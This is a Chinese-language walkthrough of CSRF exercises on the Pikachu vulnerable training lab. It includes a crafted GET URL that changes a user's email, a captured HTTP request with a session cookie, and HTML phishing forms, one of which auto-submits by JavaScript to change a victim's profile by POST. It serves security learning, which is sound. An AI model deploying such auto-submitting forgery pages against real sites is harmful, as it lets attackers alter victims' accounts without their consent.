CSRF(Cross-Site Request Forgery)跨站请求伪造
CSRF(GET)
看一下提示,可以得到很多的用户与密码,这里以 vince 账户为实验。

1 2 3 4 5
| 姓名:vince 性别:boy 手机:18626545453 住址:chain 邮箱:vince@pikachu.com
|

将邮箱修改成 mov@pikachu.com 了。
不过没看到它在 URL 有显示 GET 获取的数据罢了。
我们看一下浏览器中表单中各个组件的 name 值

我们简单构造一下
1
| ?sex=boy&phonenum=18626545453&add=chain&email=mrvirus@qq.com&submit=submit
|
发现没有用。那我老老实实用 Burpsuite 去抓包看看有什么缺的。
**tips:**其实少写一个 submit 那个发送按键,因为 value 为 submit,所以后面再加一个 submit=submit。
1 2 3 4 5 6 7 8 9 10 11
| GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit HTTP/1.1 Host: 192.168.17.129:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://192.168.17.129:8000/vul/csrf/csrfget/csrf_get_edit.php Cookie: PHPSESSID=o10dqkebdm0tkdfss0ah7epkf6 Upgrade-Insecure-Requests: 1 Priority: u=0, i
|
OK,我们发现,我们还少了一个 submit=submit
1
| ?sex=boy&phonenum=18626545453&add=chain&email=mrvirus@qq.com&submit=submit
|
OK,修改成功!

借他人在浏览器留下的 cookie(session),以达成点击链接修改用户信息的方法。
CSRF(POST)=>CSRF token
POST 当然先抓包
1
| sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
|
我们当然可以放到 intruder 中进行发送。但是这有什么用,又不是攻击自己。所以这个我们一般就会制作一个钓鱼网站,一个 HTML 网页即可,放一个表单,请求方式为 POST 请求,只要有人打开网页,点击按钮,就可以进行 POST 请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Official</title> </head> <body> <form method="post" action="http://192.168.17.129:8000/vul/csrf/csrfpost/csrf_post_edit.php"> <input type="text" name="sex" value="boy"/> <input type="text" name="phonenum" value="18626545453"/> <input type="text" name="add" value="chain"/> <input type="text" name="email" value="mov@pikachu.com"/> <input type="submit" name="submit" value="submit"/> </form> </body> </html>
|

ok,点击 submit,也可以修改。但是我们发送给其他用户这个钓鱼网站,别人也不信啊,所以还需要用到 js 代码进行自动化。
可以用到 js 的模拟点击,我们只需要给按钮给上 ID 编号即可。
1
| document.getElementById('myButton').click();
|
写上代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Official</title> </head> <body> <form method="post" action="http://192.168.17.129:8000/vul/csrf/csrfpost/csrf_post_edit.php"> <input type="text" name="sex" value="boy"/> <input type="text" name="phonenum" value="18626545453"/> <input type="text" name="add" value="chain"/> <input type="text" name="email" value="vince@pikachu.com"/> <input type="submit" id="ok" name="submit" value="submit"/> </form>
<script> document.getElementById("ok").click(); </script> </body> </html>
|
ok,有效。
**问题:**为什么不管是 GET 构造还是 POST 构造,第一次都会导致浏览器失去 cookie 信息,第二次才能成功?
浏览器对策?